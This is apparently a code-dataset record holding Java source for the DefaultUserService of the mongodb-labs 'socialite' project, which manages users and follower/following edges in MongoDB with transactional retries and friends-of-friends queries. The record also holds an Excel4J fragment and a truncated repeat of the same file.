try (FileOutputStream fos = new FileOutputStream(filePath)) {
this.workbook.write(fos);
} catch (IOException e) {
throw new Excel4JException(e);
}
}
/**
* 将文件写到某个输出流中
*
* @param os 输出流
*/
public void write2Stream(OutputStream os) throws Excel4JException {
try {
this.workbook.write(os);
} catch (IOException e) {
throw new Excel4JException(e);
}
}
/*-----------------------------------写出数据结束-----------------------------------*/
@Override
public void close() throws IOException {
if (null != this.workbook){
this.workbook.close();
}
}
}
|
44840_70 | package com.mongodb.socialite.users;
import com.mongodb.*;
import com.mongodb.client.ClientSession;
import com.mongodb.client.MongoCollection;
import com.mongodb.socialite.MongoBackedService;
import com.mongodb.socialite.api.*;
import com.mongodb.socialite.configuration.DefaultUserServiceConfiguration;
import com.mongodb.socialite.services.ServiceImplementation;
import com.mongodb.socialite.services.UserGraphService;
import com.yammer.dropwizard.config.Configuration;
import org.bson.types.BasicBSONList;
import org.bson.types.ObjectId;
import org.bson.Document;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.Date;
@ServiceImplementation(name = "DefaultUserService", configClass = DefaultUserServiceConfiguration.class)
public class DefaultUserService
extends MongoBackedService implements UserGraphService {
private static final String USER_ID_KEY = "_id";
private static final String EDGE_OWNER_KEY = "_f";
private static final String EDGE_PEER_KEY = "_t";
private static final String FOLLOWER_COUNT_KEY = "_cr";
private static final String FOLLOWING_COUNT_KEY = "_cg";
private static final BasicDBObject SELECT_USER_ID =
new BasicDBObject(USER_ID_KEY, 1);
private final DBCollection users;
private DBCollection followers = null;
private DBCollection following = null;
private MongoCollection followersMC = null;
private MongoCollection followingMC = null;
private final DefaultUserServiceConfiguration config;
private final UserValidator userValidator;
public DefaultUserService(final MongoClientURI dbUri, final DefaultUserServiceConfiguration svcConfig ) {
super(dbUri, svcConfig);
this.config = svcConfig;
this.users = this.database.getCollection(config.user_collection_name);
this.userValidator = new BasicUserIdValidator();
// establish the follower collection and create indices as configured
if(config.maintain_follower_collection){
this.followers = this.database.getCollection(config.follower_collection_name);
this.followersMC = this.dbMC.getCollection(config.follower_collection_name, BasicDBObject.class);
// forward indices are covered (for query performance)
// and unique so that duplicates are detected and ignored
System.out.print("Creating Index");
this.followers.createIndex(
new BasicDBObject(EDGE_OWNER_KEY, 1).append(EDGE_PEER_KEY, 1),
new BasicDBObject("unique", true));
System.out.print(new Date());
if(config.maintain_reverse_index)
this.followers.createIndex(
new BasicDBObject(EDGE_PEER_KEY, 1).append(EDGE_OWNER_KEY, 1));
}
// also establish following collection if configured
if(config.maintain_following_collection){
this.following = this.database.getCollection(config.following_collection_name);
this.followingMC = this.dbMC.getCollection(config.following_collection_name, BasicDBObject.class);
System.out.print("Creating Index");
this.following.createIndex(
new BasicDBObject(EDGE_OWNER_KEY, 1).append(EDGE_PEER_KEY, 1),
new BasicDBObject("unique", true));
System.out.print(new Date());
if(config.maintain_reverse_index)
this.following.createIndex(
new BasicDBObject(EDGE_PEER_KEY, 1).append(EDGE_OWNER_KEY, 1));
}
// ensure at least one relationship collection exists
if(this.followers == null && this.following == null){
throw new ServiceException(FrameworkError.INVALID_CONFIGURATION).
set("maintain_follower_collection", config.maintain_follower_collection).
set("maintain_following_collection", config.maintain_following_collection);
}
}
@Override
public User getUserById(final String userId){
final DBObject result = this.users.findOne(byUserId(userId));
if( result == null )
throw new ServiceException(
UserGraphError.UNKNOWN_USER).set("userId", userId);
return new User(result);
}
@Override
public User getOrCreateUserById(final String newUser) {
final User user = new User(newUser);
this.userValidator.validate(user);
this.users.save( user.toDBObject() );
return user;
}
@Override
public void createUser(final User newUser){
try {
this.userValidator.validate(newUser);
this.users.insert( newUser.toDBObject() );
} catch( DuplicateKeyException e ) {
throw new ServiceException(
UserGraphError.USER_ALREADY_EXISTS).set("userId", newUser.getUserId());
}
}
@Override
public void validateUser(String userId) throws ServiceException {
final DBObject result = this.users.findOne(byUserId(userId), SELECT_USER_ID);
if( result == null )
throw new ServiceException(
UserGraphError.UNKNOWN_USER).set("userId", userId);
}
@Override
public List<User> getFollowers(final User user, final int limit) {
List<User> results = null;
if(config.maintain_follower_collection){
// If there is a follower collection, get the users directly
DBCursor cursor = this.followers.find(
byEdgeOwner(user.getUserId()), selectEdgePeer()).limit(limit);
results = getUsersFromCursor(cursor, EDGE_PEER_KEY);
} else {
// otherwise get them from the following collection
DBCursor cursor = this.following.find(
byEdgePeer(user.getUserId()), selectEdgeOwner()).limit(limit);
results = getUsersFromCursor(cursor, EDGE_OWNER_KEY);
}
return results;
}
@Override
public FollowerCount getFollowerCount(final User user) {
if(config.maintain_follower_collection){
return new FollowerCount(user, (int)this.followers.count(
byEdgeOwner(user.getUserId())));
} else {
return new FollowerCount(user, (int)this.following.count(
byEdgePeer(user.getUserId())));
}
}
@Override
public List<User> getFollowing(final User user, final int limit) {
List<User> results = null;
if(config.maintain_following_collection){
// If there is a following collection, get the users directly
DBCursor cursor = this.following.find(
byEdgeOwner(user.getUserId()), selectEdgePeer()).limit(limit);
results = getUsersFromCursor(cursor, EDGE_PEER_KEY);
} else {
// otherwise get them from the follower collection
DBCursor cursor = this.followers.find(
byEdgePeer(user.getUserId()), selectEdgeOwner()).limit(limit);
results = getUsersFromCursor(cursor, EDGE_OWNER_KEY);
}
return results;
}
@Override
public FollowingCount getFollowingCount(final User user) {
if(config.maintain_following_collection){
return new FollowingCount(user, (int)this.following.count(
byEdgeOwner(user.getUserId())));
} else {
return new FollowingCount(user, (int)this.followers.count(
byEdgePeer(user.getUserId())));
}
}
@Override
public List<User> getFriendsOfFriendsAgg(final User user) {
// Get the user's friends.
BasicBSONList friend_ids = getFriendIdsUsingAgg(user);
if (friend_ids.size() == 0) {
// The user is not following anyone, will not have any friends of friends.
return new ArrayList<User>();
}
// Get their friends' _ids..
BasicBSONList fof_ids = getFriendsOfUsersAgg(user, friend_ids);
if (fof_ids.size() == 0) {
// None of the friends were following anyone, no friends of friends.
return new ArrayList<User>();
}
// Get the actual users.
List<User> fofs = new ArrayList<User>();
DBCursor cursor = this.users.find(new BasicDBObject(USER_ID_KEY, new BasicDBObject("$in", fof_ids)));
while (cursor.hasNext()) {
fofs.add(new User(cursor.next()));
}
return fofs;
}
@Override
public List<User> getFriendsOfFriendsQuery(final User user) {
// Get the _ids of all the user's friends.
List<String> friend_ids = getFriendIdsUsingQuery(user);
if (friend_ids.size() == 0)
// The user is not following anyone, will not have any friends of friends.
return new ArrayList<User>();
Set<String> fof_ids = getFriendsOfUsersQuery(user, friend_ids);
if (fof_ids.size() == 0) {
// None of the friends were following anyone, no friends of friends.
return new ArrayList<User>();
}
// Get the actual users.
QueryBuilder fof_users_query = new QueryBuilder();
fof_users_query = fof_users_query.put(USER_ID_KEY);
fof_users_query = fof_users_query.in(fof_ids.toArray());
DBCursor users_cursor = this.users.find(fof_users_query.get());
List<User> result = getUsersFromCursor(users_cursor, USER_ID_KEY);
return result;
}
@Override
public void follow(User user, User toFollow) {
// Use the some edge _id for both edge collections
ObjectId edgeId = new ObjectId();
ClientSession clientSession = null;
int txn_retries = 0;
// if there are two collections, then we will be doing two inserts
// and we should wrap them in a transaction
if(config.transactions && config.maintain_following_collection && config.maintain_follower_collection) {
// establish session and start transaction
while (true) {
try {
clientSession = this.client.startSession();
clientSession.startTransaction();
insertEdgeWithId(this.followingMC, edgeId, user, toFollow, clientSession);
insertEdgeWithId(this.followersMC, edgeId, toFollow, user, clientSession);
clientSession.commitTransaction();
if (txn_retries > 0) System.out.println("Committed after " + txn_retries + " retries.");
return;
} catch (MongoCommandException e) {
System.err.println("Couldn't commit follow with " + e.getErrorCode());
if (e.getErrorCode() == 24) {
System.out.println("Lock Timeout... retrying transaction");
} else if (e.getErrorCode() == 11000) {
System.out.println("This is a duplicate edge, not retrying");
return;
} else if (e.getErrorCode() == 251) {
System.out.println("Transaction aborted due to duplicate edge, not retrying");
return;
} else if (e.hasErrorLabel(MongoException.UNKNOWN_TRANSACTION_COMMIT_RESULT_LABEL)) {
System.out.println("UnknownTransactionCommitResult... retrying transaction");
} else if (e.hasErrorLabel(MongoException.TRANSIENT_TRANSACTION_ERROR_LABEL)) {
System.out.println("TransientTransactionError, retrying transaction");
} else {
System.out.println("Some other error, retrying");
e.printStackTrace();
}
} finally {
clientSession.close();
txn_retries++; // maybe sleep a bit?
}
}
}
// create the "following" relationship
if(config.maintain_following_collection){
insertEdgeWithId(this.following, edgeId, user, toFollow);
}
// create the reverse "follower" relationship
if(config.maintain_follower_collection){
insertEdgeWithId(this.followers, edgeId, toFollow, user);
}
// if maintaining, update the following and follower
// counts of the two users respectively
if(config.store_follow_counts_with_user){
this.users.update(byUserId(user.getUserId()),
increment(FOLLOWING_COUNT_KEY));
this.users.update(byUserId(toFollow.getUserId()),
increment(FOLLOWER_COUNT_KEY));
}
}
@Override
public void unfollow(User user, User toRemove) {
ClientSession clientSession = null;
int txn_retries = 0;
// if there are two collections, then we will be doing two removes
// and we should wrap them in a transaction
if(config.transactions && config.maintain_following_collection && config.maintain_follower_collection) {
// establish session and start transaction
while (true) {
try {
clientSession = this.client.startSession();
clientSession.startTransaction();
this.followingMC.deleteOne(clientSession, new Document(makeEdge(user, toRemove).toMap()));
this.followersMC.deleteOne(clientSession, new Document(makeEdge(toRemove, user).toMap()));
clientSession.commitTransaction();
if (txn_retries > 0) System.out.println("Committed after " + txn_retries + " retries.");
return;
} catch (MongoCommandException e) {
System.err.println("Couldn't commit unfollow with " + e.getErrorCode());
if (e.getErrorCode() == 24) {
System.out.println("Lock Timeout... retrying transaction");
} else if (e.hasErrorLabel(MongoException.UNKNOWN_TRANSACTION_COMMIT_RESULT_LABEL)) {
System.out.println("UnknownTransactionCommitResult... retrying transaction");
} else if (e.hasErrorLabel(MongoException.TRANSIENT_TRANSACTION_ERROR_LABEL)) {
System.out.println("TransientTransactionError, retrying transaction");
} else {
System.out.println("Some other error with unfollow, retrying");
e.printStackTrace();
}
} finally {
clientSession.close();
txn_retries++; // maybe sleep a bit?
}
}
}
// remove the "following" relationship
if(config.maintain_following_collection){
this.following.remove(makeEdge(user, toRemove));
}
// remove the reverse "follower" relationship
if(config.maintain_follower_collection){
this.followers.remove(makeEdge(toRemove, user));
}
// if maintaining, update the following and follower
// counts of the two users respectively
if(config.store_follow_counts_with_user){
this.users.update(byUserId(user.getUserId()),
decrement(FOLLOWING_COUNT_KEY));
this.users.update(byUserId(toRemove.getUserId()),
decrement(FOLLOWER_COUNT_KEY));
}
}
@Override
public void removeUser(String userId) {
User user = new User(userId);
for( User following : this.getFollowing(user,Integer.MAX_VALUE)) {
this.unfollow(user, following);
}
for( User follower : this.getFollowers(user,Integer.MAX_VALUE)) {
this.unfollow(follower, user);
}
this.users.remove( byUserId(userId) );
}
@Override
public Configuration getConfiguration() {
return this.config;
}
/**
* Use the aggregation framework to get a list of all the _ids of users who 'user' is following.
* @param user Any user.
* @return The _ids of all users who 'user' is following.
*/
private BasicBSONList getFriendIdsUsingAgg(User user) {
DBCollection coll; // Depending on the settings, we'll have to query different collections.
String user_id_key; // This is the key that will have the friend's _id.
String friend_id_key; // This is the key that will have the friend of friend's _id.
if(config.maintain_following_collection){
// If there is a following collection, get the users directly.
coll = this.following;
user_id_key = EDGE_OWNER_KEY;
friend_id_key = EDGE_PEER_KEY;
} else {
// Otherwise, get them from the follower collection.
coll = this.followers;
user_id_key = EDGE_PEER_KEY;
friend_id_key = EDGE_OWNER_KEY;
}
List<DBObject> friends_pipeline = new ArrayList<DBObject>(2);
// Pipeline to get the list of friends:
// [{$match: {user_id_key: user_id}},
// {$group: {_id: null, followees: {$push: '$friend_id_key'}}]
// Get all the users the given user is following.
friends_pipeline.add(new BasicDBObject("$match",
new BasicDBObject(user_id_key, user.getUserId())));
// Add them all to a set.
friends_pipeline.add(new BasicDBObject("$group",
new BasicDBObject("_id", null)
.append("followees",
new BasicDBObject("$addToSet", "$" + friend_id_key))));
AggregationOutput output = coll.aggregate(friends_pipeline);
if (!output.results().iterator().hasNext()) {
return new BasicBSONList();
}
// There should only be one result, the list of friends.
DBObject friends = output.results().iterator().next();
BasicBSONList friends_list = (BasicBSONList) friends.get("followees");
assert(!output.results().iterator().hasNext());
return friends_list;
}
/**
* Use the aggregation framework to get the _ids of all users who have any of the users in 'friends_list' as a
* follower, excluding 'user'.
* @param user The original user.
* @param friend_ids The _ids of 'user's friends.
* @return The _ids of 'user's friends of friends.
*/
private BasicBSONList getFriendsOfUsersAgg(User user, BasicBSONList friend_ids) {
DBCollection coll; // Depending on the settings, we'll have to query different collections.
String friend_id_key; // This is the key that will have the friend's _id.
String fof_id_key; // This is the key that will have the friend of friend's _id.
if(config.maintain_following_collection){
// If there is a following collection, get the users directly.
coll = this.following;
friend_id_key = EDGE_OWNER_KEY;
fof_id_key = EDGE_PEER_KEY;
} else {
// Otherwise, get them from the follower collection.
coll = this.followers;
friend_id_key = EDGE_PEER_KEY;
fof_id_key = EDGE_OWNER_KEY;
}
List<DBObject> fof_pipeline = new ArrayList<DBObject>(2);
// Pipeline to get the friends of friends
// [{$match: {'$friend_id_key': {$in: <list of friends>}, '$fof_id_key': {$ne: <user's id>}}},
// {$group: {_id: null, followees: {$addToSet: '$fof_id_key'}}]
// All users which any friend is following.
fof_pipeline.add(new BasicDBObject("$match",
new BasicDBObject(
friend_id_key,
new BasicDBObject("$in", friend_ids.toArray())
).append(fof_id_key,
new BasicDBObject("$ne", user.getUserId()))));
// Combine all _ids into a set.
fof_pipeline.add(new BasicDBObject("$group",
new BasicDBObject("_id", null)
.append("fofs",
new BasicDBObject("$addToSet", "$" + fof_id_key))));
AggregationOutput output = coll.aggregate(fof_pipeline);
if (!output.results().iterator().hasNext()) {
return new BasicBSONList();
}
// Should only be one result, the list of fofs.
BasicBSONList fof_ids = (BasicBSONList)output.results().iterator().next().get("fofs");
assert(!output.results().iterator().hasNext());
return fof_ids;
}
/**
* Use the query system to get the _ids of all users who have any of the users in 'friends_list' as a follower,
* excluding 'user'.
* @param user The original user.
* @param friend_ids The _ids of 'user's friends.
* @return The _ids of 'user's friends of friends.
*/
private Set<String> getFriendsOfUsersQuery(User user, List<String> friend_ids) {
QueryBuilder fof_id_query;
DBObject proj;
DBCollection coll;
String fof_id_key;
if(config.maintain_following_collection){
coll = this.following;
proj = new BasicDBObject(USER_ID_KEY, false).append(EDGE_PEER_KEY, true);
fof_id_key = EDGE_PEER_KEY;
fof_id_query = QueryBuilder.start();
fof_id_query = fof_id_query.put(EDGE_OWNER_KEY);
fof_id_query = fof_id_query.in(friend_ids.toArray());
} else {
// otherwise get them from the follower collection
coll = this.followers;
proj = new BasicDBObject(USER_ID_KEY, false).append(EDGE_OWNER_KEY, true);
fof_id_key = EDGE_OWNER_KEY;
fof_id_query = QueryBuilder.start();
fof_id_query = fof_id_query.put(EDGE_PEER_KEY);
fof_id_query = fof_id_query.in(friend_ids.toArray());
}
DBCursor fof_ids_cursor = coll.find(fof_id_query.get(), proj);
// Make a set of all the results, since a user who has more than one follower in 'friend_ids' will appear in the
// query results multiple times.
Set<String> fof_ids = new HashSet<String>();
while (fof_ids_cursor.hasNext()) {
String user_id = (String)fof_ids_cursor.next().get(fof_id_key);
// A user should not be included in their set of friends of friends.
if (!user_id.equals(user.getUserId())) {
fof_ids.add(user_id);
}
}
return fof_ids;
}
/**
* Use the query system to get a list of the _ids of the users who 'user' is following.
* @param user Any user.
* @return The _ids of all users who 'user' is following.
*/
private List<String> getFriendIdsUsingQuery(User user) {
DBCursor friends_cursor;
String friend_id_key;
if(config.maintain_following_collection){
// If there is a following collection, get the users directly
friends_cursor = this.following.find( byEdgeOwner(user.getUserId()), selectEdgePeer());
friend_id_key = EDGE_PEER_KEY;
} else {
// otherwise get them from the follower collection
friends_cursor = this.followers.find( byEdgePeer(user.getUserId()), selectEdgeOwner());
friend_id_key = EDGE_OWNER_KEY;
}
// Convert List<User> to List<String> of _ids to pass to $in query.
List<String> friend_ids = new ArrayList<String>();
while (friends_cursor.hasNext()) {
friend_ids.add((String)friends_cursor.next().get(friend_id_key));
}
return friend_ids;
}
private void insertEdgeWithId(DBCollection edgeCollection, ObjectId id, User user, User toFollow) {
try {
edgeCollection.insert( makeEdgeWithId(id, user, toFollow));
} catch( DuplicateKeyException e ) {
// inserting duplicate edge is fine. keep going.
}
}
private void insertEdgeWithId(MongoCollection edgeCollection, ObjectId id, User user, User toFollow, ClientSession session) {
// try {
edgeCollection.insertOne( session, makeEdgeWithId(id, user, toFollow));
// } catch( MongoCommandException e ) {
// if (e.getErrorCode() != 11000) {
// throw e; // System.err.println(e.getErrorMessage());
// } else {
// inserting duplicate edge is fine. keep going.
// System.out.println("Duplicate key when inserting follow");
// }
// }
}
static List<User> getUsersFromCursor(DBCursor cursor, String fieldKey){
try{
// exhaust the cursor adding each user
List<User> followers = new ArrayList<User>();
while(cursor.hasNext()) {
followers.add(new User((String)cursor.next().get(fieldKey)));
}
return followers;
} finally {
// ensure cursor is closed
cursor.close();
}
}
static DBObject increment(String field) {
return new BasicDBObject("$inc", new BasicDBObject(field, 1));
}
static DBObject decrement(String field) {
return new BasicDBObject("$inc", new BasicDBObject(field, -1));
}
static DBObject byUserId(String user_id) {
return new BasicDBObject(USER_ID_KEY, user_id);
}
static DBObject makeEdge(final User from, final User to) {
return new BasicDBObject(EDGE_OWNER_KEY,
from.getUserId()).append(EDGE_PEER_KEY, to.getUserId());
}
static DBObject makeEdgeWithId(ObjectId id, User from, User to) {
return new BasicDBObject(USER_ID_KEY, id).append(EDGE_OWNER_KEY,
from.getUserId()).append(EDGE_PEER_KEY, to.getUserId());
}
static DBObject byEdgeOwner(String remote) {
return new BasicDBObject(EDGE_OWNER_KEY, remote);
}
static DBObject byEdgePeer(String remote) {
return new BasicDBObject(EDGE_PEER_KEY, remote);
}
static DBObject selectEdgePeer() {
return new BasicDBObject(EDGE_PEER_KEY, 1).append(USER_ID_KEY, 0);
}
static DBObject selectEdgeOwner() {
return new BasicDBObject(EDGE_OWNER_KEY, 1).append(USER_ID_KEY, 0);
}
}
| mongodb-labs/socialite | src/main/java/com/mongodb/socialite/users/DefaultUserService.java | 7,419 | // if (e.getErrorCode() != 11000) { | line_comment | nl | package com.mongodb.socialite.users;
import com.mongodb.*;
import com.mongodb.client.ClientSession;
import com.mongodb.client.MongoCollection;
import com.mongodb.socialite.MongoBackedService;
import com.mongodb.socialite.api.*;
import com.mongodb.socialite.configuration.DefaultUserServiceConfiguration;
import com.mongodb.socialite.services.ServiceImplementation;
import com.mongodb.socialite.services.UserGraphService;
import com.yammer.dropwizard.config.Configuration;
import org.bson.types.BasicBSONList;
import org.bson.types.ObjectId;
import org.bson.Document;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.Date;
@ServiceImplementation(name = "DefaultUserService", configClass = DefaultUserServiceConfiguration.class)
public class DefaultUserService
extends MongoBackedService implements UserGraphService {
private static final String USER_ID_KEY = "_id";
private static final String EDGE_OWNER_KEY = "_f";
private static final String EDGE_PEER_KEY = "_t";
private static final String FOLLOWER_COUNT_KEY = "_cr";
private static final String FOLLOWING_COUNT_KEY = "_cg";
private static final BasicDBObject SELECT_USER_ID =
new BasicDBObject(USER_ID_KEY, 1);
private final DBCollection users;
private DBCollection followers = null;
private DBCollection following = null;
private MongoCollection followersMC = null;
private MongoCollection followingMC = null;
private final DefaultUserServiceConfiguration config;
private final UserValidator userValidator;
public DefaultUserService(final MongoClientURI dbUri, final DefaultUserServiceConfiguration svcConfig ) {
super(dbUri, svcConfig);
this.config = svcConfig;
this.users = this.database.getCollection(config.user_collection_name);
this.userValidator = new BasicUserIdValidator();
// establish the follower collection and create indices as configured
if(config.maintain_follower_collection){
this.followers = this.database.getCollection(config.follower_collection_name);
this.followersMC = this.dbMC.getCollection(config.follower_collection_name, BasicDBObject.class);
// forward indices are covered (for query performance)
// and unique so that duplicates are detected and ignored
System.out.print("Creating Index");
this.followers.createIndex(
new BasicDBObject(EDGE_OWNER_KEY, 1).append(EDGE_PEER_KEY, 1),
new BasicDBObject("unique", true));
System.out.print(new Date());
if(config.maintain_reverse_index)
this.followers.createIndex(
new BasicDBObject(EDGE_PEER_KEY, 1).append(EDGE_OWNER_KEY, 1));
}
// also establish following collection if configured
if(config.maintain_following_collection){
this.following = this.database.getCollection(config.following_collection_name);
this.followingMC = this.dbMC.getCollection(config.following_collection_name, BasicDBObject.class);
System.out.print("Creating Index");
this.following.createIndex(
new BasicDBObject(EDGE_OWNER_KEY, 1).append(EDGE_PEER_KEY, 1),
new BasicDBObject("unique", true));
System.out.print(new Date());
if(config.maintain_reverse_index)
this.following.createIndex(
new BasicDBObject(EDGE_PEER_KEY, 1).append(EDGE_OWNER_KEY, 1));
}
// ensure at least one relationship collection exists
if(this.followers == null && this.following == null){
throw new ServiceException(FrameworkError.INVALID_CONFIGURATION).
set("maintain_follower_collection", config.maintain_follower_collection).
set("maintain_following_collection", config.maintain_following_collection);
}
}
@Override
public User getUserById(final String userId){
final DBObject result = this.users.findOne(byUserId(userId));
if( result == null )
throw new ServiceException(
UserGraphError.UNKNOWN_USER).set("userId", userId);
return new User(result);
}
@Override
public User getOrCreateUserById(final String newUser) {
final User user = new User(newUser);
this.userValidator.validate(user);
this.users.save( user.toDBObject() );
return user;
}
@Override
public void createUser(final User newUser){
try {
this.userValidator.validate(newUser);
this.users.insert( newUser.toDBObject() );
} catch( DuplicateKeyException e ) {
throw new ServiceException(
UserGraphError.USER_ALREADY_EXISTS).set("userId", newUser.getUserId());
}
}
@Override
public void validateUser(String userId) throws ServiceException {
final DBObject result = this.users.findOne(byUserId(userId), SELECT_USER_ID);
if( result == null )
throw new ServiceException(
UserGraphError.UNKNOWN_USER).set("userId", userId);
}
@Override
public List<User> getFollowers(final User user, final int limit) {
List<User> results = null;
if(config.maintain_follower_collection){
// If there is a follower collection, get the users directly
DBCursor cursor = this.followers.find(
byEdgeOwner(user.getUserId()), selectEdgePeer()).limit(limit);
results = getUsersFromCursor(cursor, EDGE_PEER_KEY);
} else {
// otherwise get them from the following collection
DBCursor cursor = this.following.find(
byEdgePeer(user.getUserId()), selectEdgeOwner()).limit(limit);
results = getUsersFromCursor(cursor, EDGE_OWNER_KEY);
}
return results;
}
@Override
public FollowerCount getFollowerCount(final User user) {
if(config.maintain_follower_collection){
return new FollowerCount(user, (int)this.followers.count(
byEdgeOwner(user.getUserId())));
} else {
return new FollowerCount(user, (int)this.following.count(
byEdgePeer(user.getUserId())));
}
}
@Override
public List<User> getFollowing(final User user, final int limit) {
List<User> results = null;
if(config.maintain_following_collection){
// If there is a following collection, get the users directly
DBCursor cursor = this.following.find(
byEdgeOwner(user.getUserId()), selectEdgePeer()).limit(limit);
results = getUsersFromCursor(cursor, EDGE_PEER_KEY);
} else {
// otherwise get them from the follower collection
DBCursor cursor = this.followers.find(
byEdgePeer(user.getUserId()), selectEdgeOwner()).limit(limit);
results = getUsersFromCursor(cursor, EDGE_OWNER_KEY);
}
return results;
}
@Override
public FollowingCount getFollowingCount(final User user) {
if(config.maintain_following_collection){
return new FollowingCount(user, (int)this.following.count(
byEdgeOwner(user.getUserId())));
} else {
return new FollowingCount(user, (int)this.followers.count(
byEdgePeer(user.getUserId())));
}
}
@Override
public List<User> getFriendsOfFriendsAgg(final User user) {
// Get the user's friends.
BasicBSONList friend_ids = getFriendIdsUsingAgg(user);
if (friend_ids.size() == 0) {
// The user is not following anyone, will not have any friends of friends.
return new ArrayList<User>();
}
// Get their friends' _ids..
BasicBSONList fof_ids = getFriendsOfUsersAgg(user, friend_ids);
if (fof_ids.size() == 0) {
// None of the friends were following anyone, no friends of friends.
return new ArrayList<User>();
}
// Get the actual users.
List<User> fofs = new ArrayList<User>();
DBCursor cursor = this.users.find(new BasicDBObject(USER_ID_KEY, new BasicDBObject("$in", fof_ids)));
while (cursor.hasNext()) {
fofs.add(new User(cursor.next()));
}
return fofs;
}
@Override
public List<User> getFriendsOfFriendsQuery(final User user) {
// Get the _ids of all the user's friends.
List<String> friend_ids = getFriendIdsUsingQuery(user);
if (friend_ids.size() == 0)
// The user is not following anyone, will not have any friends of friends.
return new ArrayList<User>();
Set<String> fof_ids = getFriendsOfUsersQuery(user, friend_ids);
if (fof_ids.size() == 0) {
// None of the friends were following anyone, no friends of friends.
return new ArrayList<User>();
}
// Get the actual users.
QueryBuilder fof_users_query = new QueryBuilder();
fof_users_query = fof_users_query.put(USER_ID_KEY);
fof_users_query = fof_users_query.in(fof_ids.toArray());
DBCursor users_cursor = this.users.find(fof_users_query.get());
List<User> result = getUsersFromCursor(users_cursor, USER_ID_KEY);
return result;
}
@Override
public void follow(User user, User toFollow) {
// Use the some edge _id for both edge collections
ObjectId edgeId = new ObjectId();
ClientSession clientSession = null;
int txn_retries = 0;
// if there are two collections, then we will be doing two inserts
// and we should wrap them in a transaction
if(config.transactions && config.maintain_following_collection && config.maintain_follower_collection) {
// establish session and start transaction
while (true) {
try {
clientSession = this.client.startSession();
clientSession.startTransaction();
insertEdgeWithId(this.followingMC, edgeId, user, toFollow, clientSession);
insertEdgeWithId(this.followersMC, edgeId, toFollow, user, clientSession);
clientSession.commitTransaction();
if (txn_retries > 0) System.out.println("Committed after " + txn_retries + " retries.");
return;
} catch (MongoCommandException e) {
System.err.println("Couldn't commit follow with " + e.getErrorCode());
if (e.getErrorCode() == 24) {
System.out.println("Lock Timeout... retrying transaction");
} else if (e.getErrorCode() == 11000) {
System.out.println("This is a duplicate edge, not retrying");
return;
} else if (e.getErrorCode() == 251) {
System.out.println("Transaction aborted due to duplicate edge, not retrying");
return;
} else if (e.hasErrorLabel(MongoException.UNKNOWN_TRANSACTION_COMMIT_RESULT_LABEL)) {
System.out.println("UnknownTransactionCommitResult... retrying transaction");
} else if (e.hasErrorLabel(MongoException.TRANSIENT_TRANSACTION_ERROR_LABEL)) {
System.out.println("TransientTransactionError, retrying transaction");
} else {
System.out.println("Some other error, retrying");
e.printStackTrace();
}
} finally {
clientSession.close();
txn_retries++; // maybe sleep a bit?
}
}
}
// create the "following" relationship
if(config.maintain_following_collection){
insertEdgeWithId(this.following, edgeId, user, toFollow);
}
// create the reverse "follower" relationship
if(config.maintain_follower_collection){
insertEdgeWithId(this.followers, edgeId, toFollow, user);
}
// if maintaining, update the following and follower
// counts of the two users respectively
if(config.store_follow_counts_with_user){
this.users.update(byUserId(user.getUserId()),
increment(FOLLOWING_COUNT_KEY));
this.users.update(byUserId(toFollow.getUserId()),
increment(FOLLOWER_COUNT_KEY));
}
}
@Override
public void unfollow(User user, User toRemove) {
ClientSession clientSession = null;
int txn_retries = 0;
// if there are two collections, then we will be doing two removes
// and we should wrap them in a transaction
if(config.transactions && config.maintain_following_collection && config.maintain_follower_collection) {
// establish session and start transaction
while (true) {
try {
clientSession = this.client.startSession();
clientSession.startTransaction();
this.followingMC.deleteOne(clientSession, new Document(makeEdge(user, toRemove).toMap()));
this.followersMC.deleteOne(clientSession, new Document(makeEdge(toRemove, user).toMap()));
clientSession.commitTransaction();
if (txn_retries > 0) System.out.println("Committed after " + txn_retries + " retries.");
return;
} catch (MongoCommandException e) {
System.err.println("Couldn't commit unfollow with " + e.getErrorCode());
if (e.getErrorCode() == 24) {
System.out.println("Lock Timeout... retrying transaction");
} else if (e.hasErrorLabel(MongoException.UNKNOWN_TRANSACTION_COMMIT_RESULT_LABEL)) {
System.out.println("UnknownTransactionCommitResult... retrying transaction");
} else if (e.hasErrorLabel(MongoException.TRANSIENT_TRANSACTION_ERROR_LABEL)) {
System.out.println("TransientTransactionError, retrying transaction");
} else {
System.out.println("Some other error with unfollow, retrying");
e.printStackTrace();
}
} finally {
clientSession.close();
txn_retries++; // maybe sleep a bit?
}
}
}
// remove the "following" relationship
if(config.maintain_following_collection){
this.following.remove(makeEdge(user, toRemove));
}
// remove the reverse "follower" relationship
if(config.maintain_follower_collection){
this.followers.remove(makeEdge(toRemove, user));
}
// if maintaining, update the following and follower
// counts of the two users respectively
if(config.store_follow_counts_with_user){
this.users.update(byUserId(user.getUserId()),
decrement(FOLLOWING_COUNT_KEY));
this.users.update(byUserId(toRemove.getUserId()),
decrement(FOLLOWER_COUNT_KEY));
}
}
@Override
public void removeUser(String userId) {
User user = new User(userId);
for( User following : this.getFollowing(user,Integer.MAX_VALUE)) {
this.unfollow(user, following);
}
for( User follower : this.getFollowers(user,Integer.MAX_VALUE)) {
this.unfollow(follower, user);
}
this.users.remove( byUserId(userId) );
}
@Override
public Configuration getConfiguration() {
return this.config;
}
/**
* Use the aggregation framework to get a list of all the _ids of users who 'user' is following.
* @param user Any user.
* @return The _ids of all users who 'user' is following.
*/
private BasicBSONList getFriendIdsUsingAgg(User user) {
DBCollection coll; // Depending on the settings, we'll have to query different collections.
String user_id_key; // This is the key that will have the friend's _id.
String friend_id_key; // This is the key that will have the friend of friend's _id.
if(config.maintain_following_collection){
// If there is a following collection, get the users directly.
coll = this.following;
user_id_key = EDGE_OWNER_KEY;
friend_id_key = EDGE_PEER_KEY;
} else {
// Otherwise, get them from the follower collection.
coll = this.followers;
user_id_key = EDGE_PEER_KEY;
friend_id_key = EDGE_OWNER_KEY;
}
List<DBObject> friends_pipeline = new ArrayList<DBObject>(2);
// Pipeline to get the list of friends:
// [{$match: {user_id_key: user_id}},
// {$group: {_id: null, followees: {$push: '$friend_id_key'}}]
// Get all the users the given user is following.
friends_pipeline.add(new BasicDBObject("$match",
new BasicDBObject(user_id_key, user.getUserId())));
// Add them all to a set.
friends_pipeline.add(new BasicDBObject("$group",
new BasicDBObject("_id", null)
.append("followees",
new BasicDBObject("$addToSet", "$" + friend_id_key))));
AggregationOutput output = coll.aggregate(friends_pipeline);
if (!output.results().iterator().hasNext()) {
return new BasicBSONList();
}
